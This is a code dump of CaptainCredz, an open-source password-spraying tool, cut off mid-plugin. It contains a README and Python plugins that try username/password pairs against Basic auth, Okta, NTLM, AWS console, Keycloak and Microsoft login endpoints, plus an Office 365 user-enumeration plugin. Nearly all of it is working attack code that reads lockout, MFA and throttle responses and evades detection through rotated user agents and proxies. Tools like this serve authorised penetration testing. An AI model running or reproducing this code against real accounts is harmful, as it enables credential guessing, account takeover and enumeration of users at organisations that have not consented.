18 | else: 19 | method = self.pluginargs["method"] 20 | self.pluginargs["method"] = method # Save the method 21 | 22 | if method not in ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"]: 23 | return False, f"Unknown HTTP method '{method}' provided" 24 | else: 25 | return True, None 26 | 27 | def testconnect(self, useragent): 28 | """ 29 | This functions verifies if everything is good network-wise 30 | """ 31 | 32 | method = self.pluginargs["method"] 33 | r = self.requester.request(method, self.pluginargs["url"], headers = {"User-Agent": useragent}) 34 | is_401 = r.status_code == 401 35 | supports_authentication = "Basic" in r.headers.get("WWW-Authenticate") 36 | 37 | return is_401 and supports_authentication 38 | 39 | def test_authenticate(self, username, password, useragent): 40 | """ 41 | This functions authenticates 42 | """ 43 | 44 | data_response = { 45 | "result": None, # either "success", "inexistant", "potential" or "failure" 46 | "error": False, # if there's an error (to indicate that a retry is needed) 47 | "output": None, # return message 48 | "request": None # represents the request, useful for example to print the cookies obtained 49 | } 50 | 51 | try: 52 | 53 | method = self.pluginargs["method"] 54 | authorization = base64.b64encode(username.encode() + b':' + password.encode()).decode() 55 | r = self.requester.request(method, self.pluginargs["url"], headers = {"User-Agent": useragent, "Authorization": f"Basic {authorization}"}, allow_redirects = False) 56 | data_response['request'] = r 57 | 58 | if r.status_code == 401: # Wrong credentials 59 | 60 | data_response['result'] = 'failure' 61 | data_response['output'] = 'Invalid credentials' 62 | 63 | else: # Consider other error codes as valid credentials 64 | 65 | data_response['result'] = 'success' 66 | data_response['output'] = f"Valid credentials found with returned status code {r.status_code}" 67 | 68 | except Exception as ex: 69 | 70 | data_response['error'] = True 71 | data_response['output'] = str(ex.__repr__()) 72 | 73 | return data_response 74 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CaptainCredz 2 | 3 | ## TL;DR 4 | 5 | CaptainCredz is a modular and discreet password-spraying tool, with advanced features such as a cache mechanism and a fine-grained timing control. 6 | 7 | To start using captaincredz, the following lines may be useful: 8 | 9 | ``` 10 | TEXT_EDITOR=nano 11 | 12 | git clone https://github.com/synacktiv/captaincredz 13 | cd captaincredz 14 | pip3 install -r requirements.txt 15 | $TEXT_EDITOR config.json 16 | $TEXT_EDITOR ww_config.json 17 | 18 | python3 captaincredz.py --config config.json --weekday_warrior ww_config.json 19 | ``` 20 | 21 | ## Installation 22 | 23 | Captaincredz can be installed with `pip(x) install .`. Alternatively, one can install the required dependencies and run captaincredz via the script `captaincredz.py`, by following the commands in the TL;DR section above. 24 | 25 | ## Usage 26 | 27 | ``` 28 | usage: captaincredz.py [-h] -c CONFIG [-w WEEKDAY_WARRIOR] 29 | 30 | options: 31 | -h, --help show this help message and exit 32 | -c CONFIG, --config CONFIG 33 | Configure CaptainCredz using config file config.json 34 | -w WEEKDAY_WARRIOR, --weekday_warrior WEEKDAY_WARRIOR 35 | Weekday Warrior config file. Only active when specified 36 | ``` 37 | 38 | For detailed information on the format of the configuration files, please refer to the [wiki](https://github.com/synacktiv/captaincredz/wiki) associated with this repository. 39 | 40 | ## Extending CaptainCredz 41 | 42 | ### Writing your own plugin 43 | 44 | If your identity provider is not yet supported by CaptainCredz, you may have to write your own plugin. 45 | 46 | The best thing you can do is look at the plugins already implemented, and write your own in the same way. In particular, adapting Credmaster plugins to CaptainCredz should not be too difficult, as the functions defined are the roughly the same. 47 | 48 | ### Writing your own post_action 49 | 50 | Maybe you want to add an action after each success, like sending a Telegram message for instance. This is not yet implemented by CaptainCredz, but can be implemented fairly easily in the current state of things. 51 | 52 | The best thing you can do is look at the basic post_actions already implemented, and write your own in the same way. Post_actions receive a variety of data from the plugin in order to implement their logic. 53 | 54 | ## Acknowledgements 55 | 56 | Captaincredz is heavily inspired by [CredMaster](https://github.com/knavesec/CredMaster). We figured it lacked a bunch of interesting features, such as a cache mechanism, more generic `post_actions`, or the ability to replace the integrated Fireprox IP rotation implementation with our own [IPSpinner](https://github.com/synacktiv/IPSpinner) proxy for example. As such, we initially performed a [pull request](https://github.com/knavesec/CredMaster/pull/80) to the original CredMaster repository. This pull request brings major changes to the project's core, as it was not initially intended for these features. Therefore, in parallel to this PR, we decided to start a complete rewrite, carrying the good stuff from CredMaster while incorporating the things we needed. The architecture of the code is modular, and allows for future additions. 57 | 58 | Big thanks to [@knavesec](https://github.com/knavesec) for their work on CredMaster ! 59 | -------------------------------------------------------------------------------- /captaincredz/lib/requester.py: -------------------------------------------------------------------------------- 1 | import random 2 | import requests 3 | 4 | requests.packages.urllib3.disable_warnings( 5 | requests.packages.urllib3.exceptions.InsecureRequestWarning 6 | ) 7 | 8 | 9 | class Requester: 10 | def __init__(self, useragentfile=None, proxy=None, headers=None, req_timeout=60): 11 | self.useragents = [ 12 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 13 | ] # By default: Win10 with Chrome 130 14 | if useragentfile is not None: 15 | with open(useragentfile, "r") as f: 16 | self.useragents = [ua.rstrip() for ua in f.readlines()] 17 | self.proxy = {"http": proxy, "https": proxy} 18 | self.headers = headers 19 | self.request_timeout = req_timeout 20 | 21 | def get_random_ua(self): 22 | return random.choice(self.useragents) 23 | 24 | def patch_kwargs(self, dico): 25 | if self.headers is not None: 26 | for h in self.headers: 27 | v = self.headers[h] 28 | if "headers" in dico: 29 | dico["headers"][h] = v 30 | else: 31 | dico["headers"] = {h: v} 32 | dico["proxies"] = self.proxy 33 | if not "verify" in dico: 34 | dico["verify"] = False 35 | if not "timeout" in dico: 36 | dico["timeout"] = self.request_timeout 37 | if not "headers" in dico or not "user-agent" in [ 38 | x.lower() for x in list(dico["headers"]) 39 | ]: 40 | # TODO add warning ? 41 | if "headers" in dico: 42 | dico["headers"]["User-Agent"] = self.get_random_ua() 43 | else: 44 | dico["headers"] = {"User-Agent": self.get_random_ua()} 45 | return dico 46 | 47 | def delete(self, *args, **kwargs): 48 | kwargs = self.patch_kwargs(kwargs) 49 | return requests.delete(*args, **kwargs) 50 | 51 | def get(self, *args, **kwargs): 52 | kwargs = self.patch_kwargs(kwargs) 53 | return requests.get(*args, **kwargs) 54 | 55 | def head(self, *args, **kwargs): 56 | kwargs = self.patch_kwargs(kwargs) 57 | return requests.head(*args, **kwargs) 58 | 59 | def options(self, *args, **kwargs): 60 | kwargs = self.patch_kwargs(kwargs) 61 | return requests.options(*args, **kwargs) 62 | 63 | def patch(self, *args, **kwargs): 64 | kwargs = self.patch_kwargs(kwargs) 65 | return requests.patch(*args, **kwargs) 66 | 67 | def post(self, *args, **kwargs): 68 | kwargs = self.patch_kwargs(kwargs) 69 | return requests.post(*args, **kwargs) 70 | 71 | def put(self, *args, **kwargs): 72 | kwargs = self.patch_kwargs(kwargs) 73 | return requests.put(*args, **kwargs) 74 | 75 | def request(self, *args, **kwargs): 76 | kwargs = self.patch_kwargs(kwargs) 77 | return requests.request(*args, **kwargs) 78 | 79 | def Session(self): 80 | s = requests.Session() 81 | s.proxies.update(self.proxy) 82 | if self.headers is not None: 83 | dico = dict() 84 | for h in self.headers: 85 | v = self.headers[h] 86 | dico[h] = v 87 | s.headers.update(dico) 88 | s.verify = False 89 | return s 90 | 91 | def session(self): 92 | # Alias for backwards compatibility (until all plugins have migrated to Session()) 93 | return self.Session() 94 | -------------------------------------------------------------------------------- /captaincredz/plugins/okta/__init__.py: -------------------------------------------------------------------------------- 1 | import random 2 | import json 3 | 4 | class Plugin: 5 | def __init__(self, requester, pluginargs): 6 | self.requester = requester 7 | self.pluginargs = pluginargs 8 | 9 | def validate(self): 10 | err = None 11 | if not "url" in self.pluginargs.keys(): 12 | err = "Okta plugin needs 'url' argument. Please add it to the config file, specifying the URL to the Okta instance." 13 | return "url" in self.pluginargs, err 14 | 15 | def testconnect(self, useragent): 16 | r = self.requester.get(self.pluginargs["url"], headers={"User-Agent": useragent}) 17 | return r.status_code != 504 18 | 19 | def test_authenticate(self, username, password, useragent): 20 | data_response = { 21 | "result": None, 22 | "error": False, 23 | "output": "Blah", 24 | "request": None 25 | } 26 | 27 | raw_body = f'{{"username":"{username}","password":"{password}","options":{{"warnBeforePasswordExpired":true,"multiOptionalFactorEnroll":true}}}}' 28 | 29 | headers = { 30 | 'User-Agent' : useragent, 31 | 'Content-Type' : 'application/json' 32 | } 33 | 34 | try: 35 | resp = self.requester.post(f"{self.pluginargs['url']}/api/v1/authn/",data=raw_body, headers=headers) 36 | data_response['request'] = resp 37 | if resp.status_code == 200: 38 | resp_json = json.loads(resp.text) 39 | 40 | if resp_json.get("status") == "LOCKED_OUT": #Warning: administrators can configure Okta to not indicate that an account is locked out. Fair warning ;) 41 | data_response['result'] = "failure" 42 | data_response['output'] = f"[-] FAILURE: Locked out {username}:{password}" 43 | 44 | elif resp_json.get("status") == "SUCCESS": 45 | data_response['result'] = "success" 46 | data_response['output'] = f"[+] SUCCESS: => {username}:{password}" 47 | 48 | elif resp_json.get("status") == "MFA_REQUIRED": 49 | data_response['result'] = "success" 50 | data_response['output'] = f"[+] SUCCESS: 2FA => {username}:{password}" 51 | 52 | elif resp_json.get("status") == "PASSWORD_EXPIRED": 53 | data_response['result'] = "success" 54 | data_response['output'] = f"[+] SUCCESS: password expired {username}:{password}" 55 | 56 | elif resp_json.get("status") == "MFA_ENROLL": 57 | data_response['result'] = "success" 58 | data_response['output'] = f"[+] SUCCESS: MFA enrollment required {username}:{password}" 59 | 60 | else: 61 | data_response['result'] = "failure" 62 | data_response['output'] = f"[?] ALERT: 200 but doesn't indicate success {username}:{password}" 63 | 64 | elif resp.status_code == 403: 65 | data_response['result'] = "failure" 66 | data_response['output'] = f"[-] FAILURE THROTTLE INDICATED: {resp.status_code} => {username}:{password}" 67 | 68 | else: 69 | data_response['result'] = "failure" 70 | data_response['output'] = f"[-] FAILURE: {resp.status_code} => {username}:{password}" 71 | 72 | 73 | except Exception as ex: 74 | data_response['error'] = True 75 | data_response['output'] = str(ex.__repr__()) 76 | pass 77 | 78 | return data_response -------------------------------------------------------------------------------- /captaincredz/plugins/o365enum/__init__.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | class Plugin: 4 | def __init__(self, requester, pluginargs): 5 | self.requester = requester 6 | self.pluginargs = pluginargs 7 | 8 | def validate(self): 9 | self.pluginargs = { 10 | 'url' : "https://login.microsoftonline.com" 11 | } 12 | return True, None 13 | 14 | def testconnect(self, useragent): 15 | r = self.requester.get(self.pluginargs["url"], headers={"User-Agent": useragent}) 16 | return r.status_code != 504 17 | 18 | def test_authenticate(self, username, password, useragent): 19 | data_response = { 20 | 'result' : None, # Can be "success", "failure" or "potential" 21 | 'error' : False, 22 | 'output' : "", 23 | 'valid_user' : False 24 | } 25 | 26 | client_ids = [ 27 | # Microsoft Edge 28 | ("ecd6b820-32c2-49b6-98a6-444530e5a77a", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045"), 29 | # Outlook Mobile 30 | ("27922004-5251-4030-b22d-91ecd9a37ea4", "Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0"), 31 | ] 32 | 33 | client_id, useragent = random.choice(client_ids) 34 | 35 | headers = { 36 | "User-Agent" : useragent, 37 | 'Accept' : 'application/json', 38 | 'Content-Type' : 'application/x-www-form-urlencoded' 39 | } 40 | 41 | if_exists_result_codes = { 42 | "-1" : "UNKNOWN_ERROR", 43 | "0" : "VALID_USERNAME", 44 | "1" : "UNKNOWN_USERNAME", 45 | "2" : "THROTTLE", 46 | "4" : "ERROR", 47 | "5" : "VALID_USERNAME_DIFFERENT_IDP", 48 | "6" : "VALID_USERNAME" 49 | } 50 | 51 | domainType = { 52 | "1" : "UNKNOWN", 53 | "2" : "COMMERCIAL", 54 | "3" : "MANAGED", 55 | "4" : "FEDERATED", 56 | "5" : "CLOUD_FEDERATED" 57 | } 58 | 59 | body = '{"Username":"%s"}' % username 60 | 61 | try: 62 | response = self.requester.post(f"{self.pluginargs['url']}/common/GetCredentialType", headers=headers, data=body) 63 | data_response['request'] = response 64 | 65 | throttle_status = int(response.json()['ThrottleStatus']) 66 | if_exists_result = str(response.json()['IfExistsResult']) 67 | if_exists_result_response = if_exists_result_codes[if_exists_result] 68 | domain_type = domainType[str(response.json()['EstsProperties']['DomainType'])] 69 | domain = username.split("@")[1] 70 | 71 | if domain_type != "MANAGED": 72 | data_response["result"] = "failure" 73 | data_response['output'] = f"[-] FAILURE: {username} Domain type {domain_type} not supported for user enum" 74 | 75 | elif throttle_status != 0 or if_exists_result_response == "THROTTLE": 76 | data_response['output'] = f"[?] WARNING: Throttle detected on user {username}" 77 | data_response['result'] = "failure" 78 | 79 | else: 80 | sign = "[-]" 81 | data_response["result"] = "failure" 82 | if "VALID_USER" in if_exists_result_response: 83 | sign = "[!]" 84 | data_response["result"] = "success" 85 | data_response['valid_user'] = True 86 | data_response['output'] = f"{sign} {if_exists_result_response}: {username}" 87 | 88 | except Exception as ex: 89 | data_response['error'] = True 90 | data_response['output'] = str(ex.__repr__()) 91 | pass 92 | 93 | return data_response -------------------------------------------------------------------------------- /captaincredz/plugins/ntlmssp/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | author: lou 3 | quick & dirty POC of an NTLM authentication plugin 4 | """ 5 | 6 | import spnego 7 | import os 8 | import base64 9 | 10 | class Plugin: 11 | def __init__(self, requester, pluginargs): 12 | self.requester = requester 13 | self.pluginargs = pluginargs 14 | 15 | def validate(self): 16 | """ 17 | This functions verifies if the plugin args are correctly defined 18 | """ 19 | err = "You must provide an url and protocol (either 'ntlm' or 'negotiate')" 20 | if any(i not in self.pluginargs for i in ["url", "protocol"]): 21 | return False, err 22 | if not any(i in self.pluginargs["protocol"] for i in ["ntlm", "negotiate"]): 23 | return False, err 24 | return True, err 25 | 26 | def testconnect(self, useragent): 27 | """ 28 | This functions verifies if everything is good network-wise 29 | """ 30 | # return True 31 | r = self.requester.get(self.pluginargs["url"], headers={"User-Agent": useragent, "Authorization": "NTLM"}) 32 | is_401 = r.status_code == 401 33 | supports_authentication = any([i.lower() in r.headers.get("WWW-Authenticate").lower() for i in ["NTLM", "Negotiate"]]) 34 | return is_401 and supports_authentication 35 | 36 | def test_authenticate(self, username, password, useragent): 37 | """ 38 | This functions authenticates 39 | """ 40 | data_response = { 41 | "result": None, # either "success", "inexistant", "potential" or "failure" 42 | "error": False, # if there's an error (to indicate that a retry is needed) 43 | "output": "Blah", # return message 44 | "request": None # represents the request, useful for example to print the cookies obtained 45 | } 46 | 47 | try: 48 | data = username.split("@") 49 | if len(data) == 2: 50 | username, domain = data 51 | workstation = "DESKTOP-5EE1C34" 52 | elif len(data) == 3: 53 | username, domain, workstation = data 54 | else: 55 | raise Exception("Users should be in the username@domain[@workstation] format") 56 | 57 | # ugly but works 58 | os.environ["NETBIOS_COMPUTER_NAME"] = workstation 59 | 60 | ntlm_client = spnego.client(username, password, domain, protocol=self.pluginargs["protocol"]) 61 | sess = self.requester.session() 62 | sess.headers.update({"User-Agent": useragent}) 63 | 64 | ntlm_negotiate_message = ntlm_client.step() 65 | beautiful_protocol = "NTLM" 66 | if self.pluginargs["protocol"].lower() == "negotiate": 67 | beautiful_protocol = "Negotiate" 68 | 69 | resp = sess.get(self.pluginargs["url"], headers={"Authorization": f"{beautiful_protocol} {base64.b64encode(ntlm_negotiate_message).decode()}"}) 70 | 71 | ntlm_authenticate_message = ntlm_client.step(base64.b64decode(resp.headers.get("WWW-Authenticate").split(" ")[1])) 72 | resp = sess.get(self.pluginargs["url"], headers={"Authorization": f"{beautiful_protocol} {base64.b64encode(ntlm_authenticate_message).decode()}"}) 73 | 74 | data_response['request'] = resp 75 | if resp.status_code != 401: 76 | data_response['result'] = "success" 77 | data_response['output'] = f"[+] SUCCESS: {domain}\\{username}:{password}" 78 | elif resp.status_code == 401: 79 | data_response['result'] = "failure" 80 | data_response['output'] = f"[-] FAIL: {domain}\\{username}:{password}" 81 | 82 | except Exception as ex: 83 | data_response['error'] = True 84 | data_response['output'] = str(ex.__repr__()) 85 | 86 | return data_response 87 | -------------------------------------------------------------------------------- /captaincredz/plugins/aws/__init__.py: -------------------------------------------------------------------------------- 1 | class Plugin: 2 | def __init__(self, requester, pluginargs): 3 | self.requester = requester 4 | self.pluginargs = pluginargs 5 | 6 | def validate(self): 7 | # 8 | # Plugin Args 9 | # 10 | # --account_id XXXXXXXXXXXX -> Account Identifier 11 | # 12 | err = None 13 | self.pluginargs["url"] = "https://signin.aws.amazon.com" 14 | 15 | if not 'account_id' in self.pluginargs.keys(): 16 | err = "Plugin AWS needs 'account_id' plugin argument. Please specify it in the configuration file" 17 | return 'account_id' in self.pluginargs.keys(), err 18 | 19 | def testconnect(self, useragent): 20 | headers = { 21 | "User-Agent" : useragent, 22 | } 23 | resp = self.requester.get(self.pluginargs["url"], headers=headers) 24 | 25 | return resp.status_code != 504 26 | 27 | def test_authenticate(self, username, password, useragent): 28 | data_response = { 29 | "result": None, 30 | "error": False, 31 | "output": "Blah", 32 | 'request': None 33 | } 34 | 35 | account = self.pluginargs["account_id"] 36 | 37 | body = { 38 | "action": "iam-user-authentication", 39 | "account": account, 40 | "username": username, 41 | "password": password, 42 | "client_id": "arn:aws:signin:::console/canvas", 43 | "redirect_uri": "https://console.aws.amazon.com/console/home" 44 | } 45 | 46 | headers = { 47 | "User-Agent": useragent, 48 | } 49 | 50 | try: 51 | resp = self.requester.post(f"{self.pluginargs['url']}/authenticate", data=body, headers=headers) 52 | data_response['request'] = resp 53 | if resp.status_code == 200: 54 | resp_json = resp.json() 55 | 56 | if resp_json.get("state") == "SUCCESS": 57 | 58 | if resp_json["properties"]["result"] == "SUCCESS": 59 | data_response['result'] = "success" 60 | data_response['output'] = f"[+] SUCCESS: => {account}:{username}:{password}" 61 | 62 | elif resp_json["properties"]["result"] == "MFA": 63 | data_response['result'] = "potential" 64 | data_response['output'] = f"[+] SUCCESS: 2FA => {account}:{username}:{password} - Note: it does not mean that the password is correct" 65 | 66 | elif resp_json["properties"]["result"] == "CHANGE_PASSWORD": 67 | data_response['result'] = "success" 68 | data_response['output'] = f"[+] SUCCESS: Asking for password changing => {account}:{username}:{password}" 69 | 70 | else: 71 | result = resp_json["properties"]["result"] 72 | data_response['output'] = f"[?] Unknown Response : ({result}) {account}:{username}:{password}" 73 | data_response['result'] = "failure" 74 | 75 | elif resp_json.get("state") == "FAIL": 76 | data_response['output'] = f"[!] FAIL: => {account}:{username}:{password}" 77 | data_response['result'] = "failure" 78 | 79 | else: 80 | data_response['output'] = f"[?] Unknown Response : {account}:{username}:{password}" 81 | data_response['result'] = "failure" 82 | 83 | elif resp.status_code == 403: 84 | data_response['result'] = "failure" 85 | data_response['output'] = f"[-] FAILURE THROTTLE INDICATED: {resp.status_code} => {account}:{username}:{password}" 86 | 87 | else: 88 | data_response['result'] = "failure" 89 | data_response['output'] = f"[-] FAILURE: {resp.status_code} => {account}:{username}:{password}" 90 | 91 | 92 | except Exception as ex: 93 | data_response['error'] = True 94 | data_response['output'] = str(ex.__repr__()) 95 | pass 96 | 97 | return data_response -------------------------------------------------------------------------------- /captaincredz/lib/worker.py: -------------------------------------------------------------------------------- 1 | import importlib 2 | from queue import SimpleQueue 3 | from .cache import Cache 4 | import traceback 5 | import datetime 6 | import sys 7 | 8 | 9 | class Worker: 10 | SLEEP_INTERVAL = 2 11 | 12 | def __init__( 13 | self, 14 | requester=None, 15 | plugin=None, 16 | pluginargs=None, 17 | weight=1, 18 | signal=None, 19 | logger=None, 20 | id=0, 21 | ): 22 | self.plugin = plugin 23 | self._weight = weight 24 | self.pluginargs = pluginargs 25 | self.requester = requester 26 | self.queue = SimpleQueue() 27 | self.signal = signal 28 | self.cancelled = False 29 | self.logger = logger 30 | self.id = id 31 | 32 | @property 33 | def weight(self): 34 | if self.cancelled: 35 | return 0 36 | return self._weight 37 | 38 | def init_plugin(self): 39 | plugin_err = "" 40 | mod = None 41 | try: 42 | mod = importlib.import_module(f".plugins.{self.plugin}", package='captaincredz') 43 | except: 44 | plugin_err = traceback.format_exc() 45 | if mod is None: 46 | self.logger.error( 47 | f"[{self.plugin}] Plugin could not be loaded. Exception was caught, stacktrace printed below for debugging purposes:\n" 48 | + plugin_err 49 | ) 50 | return False 51 | 52 | self._plugin = None 53 | try: 54 | self._plugin = mod.Plugin(self.requester, self.pluginargs) 55 | except: 56 | plugin_err = traceback.format_exc() 57 | if self._plugin is None: 58 | self.logger.error( 59 | f"[{self.plugin}] Plugin could not be instanciated! Exception was caught, stacktrace printed below for debugging purposes:\n" 60 | + plugin_err 61 | ) 62 | return False 63 | 64 | try: 65 | valid_args, plugin_err = self._plugin.validate() 66 | except: 67 | valid_args, plugin_err = False, traceback.format_exc() 68 | if not valid_args: 69 | self.logger.error( 70 | f"[{self.plugin}] Invalid plugin arguments! The plugin error is: " 71 | + plugin_err 72 | ) 73 | return False 74 | 75 | useragent = self.requester.get_random_ua() 76 | connect_status = False 77 | try: 78 | self.logger.debug(f"[{self.plugin}] Testing network connection...") 79 | connect_status = self._plugin.testconnect(useragent) 80 | self.logger.debug(f"[{self.plugin}] Plugin test connection successful!") 81 | except: 82 | plugin_err = traceback.format_exc() 83 | if not connect_status: 84 | self.logger.error( 85 | f"[{self.plugin}] Plugin test connection failed! The plugin error is: " 86 | + plugin_err 87 | ) 88 | return False 89 | 90 | return valid_args and connect_status 91 | 92 | def add(self, username, password): 93 | self.queue.put((username, password)) 94 | 95 | def execute(self, username, password): 96 | useragent = self.requester.get_random_ua() 97 | data = dict() 98 | try: 99 | data = self._plugin.test_authenticate(username, password, useragent) 100 | except: 101 | data["error"] = True 102 | data["output"] = ( 103 | f"Unhandled exception in the {self.plugin} plugin caught by the worker. This is handled properly, do not worry, the pair of credz will be retried at the end. Stacktrace is printed for debug purposes only:\n" 104 | + traceback.format_exc() 105 | + "\nAgain, do not worry, this error is being handled properly and the stacktrace is here for debugging purposes only." 106 | ) 107 | data["ts"] = datetime.datetime.now().timestamp() 108 | try: 109 | self.signal(username, password, data, self.id) 110 | except Exception as ex: 111 | self.logger.error( 112 | "Core error. This is very bizarre and should not happen, please create an issue with the following stacktrace:" 113 | ) 114 | self.logger.error(str(ex.__repr__())) 115 | raise ex 116 | 117 | def main(self): 118 | while not self.cancelled: 119 | up = None 120 | try: 121 | up = self.queue.get(timeout=Worker.SLEEP_INTERVAL) 122 | except: 123 | pass 124 | if up is not None and not self.cancelled: 125 | u, p = up 126 | self.execute(u, p) 127 | -------------------------------------------------------------------------------- /captaincredz/plugins/keycloak/__init__.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from bs4 import BeautifulSoup 3 | 4 | class Plugin: 5 | def __init__(self, requester, pluginargs): 6 | self.requester = requester 7 | self.pluginargs = pluginargs 8 | 9 | def validate(self): 10 | err = None 11 | pak = self.pluginargs.keys() 12 | if not "url" in pak: 13 | err = "Keycloak plugin needs 'url' argument. Please add it to the config file, specifying the URL to the keycloak instance." 14 | if not "realm" in pak: 15 | err = "Keycloak plugin needs 'realm' argument. Please add it to the config file, specifying the name of the realm." 16 | if not "failure-string" in pak: 17 | err = "Keycloak plugin needs 'failure-string' argument. Please add it to the config file, specifying a string that appears when authentication fails." 18 | return "url" in pak and "realm" in pak and "failure-string" in pak, err 19 | 20 | def testconnect(self, useragent): 21 | r = self.requester.get(self.pluginargs["url"], headers={"User-Agent": useragent}) 22 | return r.status_code != 504 23 | 24 | def test_authenticate(self, username, password, useragent): 25 | data_response = { 26 | "result": None, 27 | "error": False, 28 | "output": "Blah", 29 | "request": None 30 | } 31 | 32 | try: 33 | realm = self.pluginargs["realm"] 34 | failure_string = self.pluginargs["failure-string"] 35 | 36 | ACCOUNT_URL = f"{self.pluginargs['url']}auth/realms/{realm}/account" 37 | 38 | session = self.requester.Session() 39 | 40 | # Emitting the first request to the target realm "account" service. 41 | # This should return a 302 Redirect (if not, the Keycloak installation is different and we should abort) 42 | r = session.get(ACCOUNT_URL, headers={"User-Agent": useragent}, allow_redirects=False) 43 | if r.status_code != 302: 44 | print("[!] Account service request did not return expected 302 - Keycloak installation may be different. Investigate if there are a lot of this.") 45 | raise Exception("[!] Account service request did not return expected 302 - Keycloak installation may be different. Investigate if there are a lot of this.") 46 | 47 | redirect_target = r.headers["Location"] 48 | 49 | # Emitting the second request to generated redirect URL 50 | # This should return a 200 OK, set 3 cookies and include the HTML form "kc-form-login" 51 | r = session.get(redirect_target, headers={"User-Agent": useragent}) 52 | if r.status_code != 200: 53 | print("[!] Something went wrong during redirect request, which did not return expected 200. Investigate if there are a lot of this.") 54 | raise Exception("[!] Something went wrong during redirect request, which did not return expected 200. Investigate if there are a lot of this.") 55 | 56 | parser = BeautifulSoup(r.text, "html.parser") 57 | login_form = parser.find('form', id='kc-form-login') 58 | if login_form: 59 | action_value = login_form.get('action') 60 | else: 61 | print("[!] Could not find expected login form in redirect request response. Investigate if there are a lot of this.") 62 | raise Exception("[!] Could not find expected login form in redirect request response. Investigate if there are a lot of this.") 63 | 64 | # Emitting the third final request to actually perform the login attempt from action URL 65 | # Upon failure, this will return a 200 OK response containing the failure string 66 | payload = {"username": username, "password": password, "credentialId": ""} 67 | for cookie in session.cookies: 68 | # WARNING: MAKE SURE IT WORKS FINE TO RETRIEVE THE NEW PATH 69 | cookie.path = f'/{self.pluginargs["url"].split("/", 3)[3]}{cookie.path[1:]}' 70 | session.cookies.set_cookie(cookie) 71 | r = session.post(action_value, headers={"User-Agent": useragent}, data=payload) 72 | data_response['request'] = r 73 | 74 | if r.status_code != 200: 75 | data_response['result'] = "potential" 76 | data_response['output'] = f"[?] POTENTIAL - The login request returned a {r.status_code} code instead of the expected 200 which might indicate a success.: => {username}:{password}" 77 | 78 | elif failure_string in r.text: 79 | data_response['result'] = "failure" 80 | data_response['output'] = f"[-] FAILURE (expected failure string returned) => {username}:{password}" 81 | 82 | else: 83 | data_response['result'] = "potential" 84 | data_response['output'] = f"[?] POTENTIAL - The login request returned a 200 response that does not contain expected failure string => {username}:{password}" 85 | 86 | except Exception as ex: 87 | data_response['error'] = True 88 | data_response['output'] = str(ex.__repr__()) 89 | pass 90 | 91 | return data_response 92 | -------------------------------------------------------------------------------- /captaincredz/plugins/msol/__init__.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | class Plugin: 4 | def __init__(self, requester, pluginargs): 5 | self.requester = requester 6 | self.pluginargs = {'url' : "https://login.microsoft.com", 'resource': "https://graph.microsoft.com"} 7 | if 'url' in pluginargs and pluginargs['url'] is not None: 8 | self.pluginargs['url'] = pluginargs['url'] 9 | if 'resource' in pluginargs and pluginargs['resource'] is not None: 10 | self.pluginargs['resource'] = pluginargs['resource'] 11 | 12 | def validate(self): 13 | err = "" 14 | val = True 15 | if not "url" in self.pluginargs.keys(): 16 | val = False 17 | err = "MSOL plugin needs a 'url' argument. Please add it to the config file, specifying the Microsoft login page (should be 'https://login.microsoft.com')." 18 | if not "resource" in self.pluginargs.keys(): 19 | val = False 20 | err = "MSOL plugin needs a 'resource' argument. Please add it to the config file, specifying the Microsoft resource (either 'https://graph.windows.net' or 'https://graph.microsoft.com')." 21 | if self.pluginargs["resource"] not in ['https://graph.windows.net', 'https://graph.microsoft.com']: 22 | val = False 23 | err = "MSOL plugin error, the resource is unknown. It should either be 'https://graph.windows.net' or 'https://graph.microsoft.com'" 24 | return val, err 25 | 26 | def testconnect(self, useragent): 27 | # return True 28 | r = self.requester.get(self.pluginargs["url"], headers={"User-Agent": useragent}) 29 | return r.status_code != 504 30 | 31 | def test_authenticate(self, username, password, useragent): 32 | data_response = { 33 | 'result' : None, # Can be "success", "failure" or "potential" 34 | 'error' : False, 35 | 'output' : "", 36 | 'request': None 37 | } 38 | 39 | client_ids = [ 40 | # Microsoft Edge 41 | ("ecd6b820-32c2-49b6-98a6-444530e5a77a", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045"), 42 | # Outlook Mobile 43 | ("27922004-5251-4030-b22d-91ecd9a37ea4", "Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0"), 44 | ] 45 | client_id, useragent = random.choice(client_ids) 46 | 47 | 48 | body = { 49 | 'resource' : self.pluginargs["resource"], 50 | 'client_id' : client_id, 51 | 'client_info' : '1', 52 | 'grant_type' : 'password', 53 | 'username' : username, 54 | 'password' : password, 55 | 'scope' : 'openid', 56 | } 57 | 58 | headers = { 59 | "User-Agent" : useragent, 60 | 'Accept' : 'application/json', 61 | 'Content-Type' : 'application/x-www-form-urlencoded' 62 | } 63 | 64 | try: 65 | resp = self.requester.post(f"{self.pluginargs['url']}/common/oauth2/token", headers=headers, data=body) 66 | data_response['request'] = resp 67 | if resp.status_code == 200: 68 | data_response['result'] = "success" 69 | data_response['output'] = f"[+] SUCCESS: {username}:{password}" 70 | 71 | else: 72 | response = resp.json() 73 | error = response["error_description"] 74 | error_code = error.split(":")[0].strip() 75 | 76 | if "AADSTS50126" in error: 77 | data_response['result'] = "failure" 78 | data_response['output'] = f"[-] FAILURE ({error_code}): Invalid username or password. Username: {username} could exist" 79 | 80 | elif any([x in error for x in ["AADSTS50128", "AADSTS50059", "AADSTS50034"]]): 81 | data_response['result'] = "inexistant" 82 | data_response['output'] = f"[-] INEXISTANT ({error_code}): Tenant for account {username} is not using AzureAD/Office365" 83 | 84 | elif "AADSTS50056" in error: 85 | data_response['result'] = "inexistant" 86 | data_response['output'] = f"[-] INEXISTANT ({error_code}): Password does not exist in store for {username}" 87 | 88 | elif "AADSTS53003" in error: 89 | # Access successful but blocked by CAP 90 | 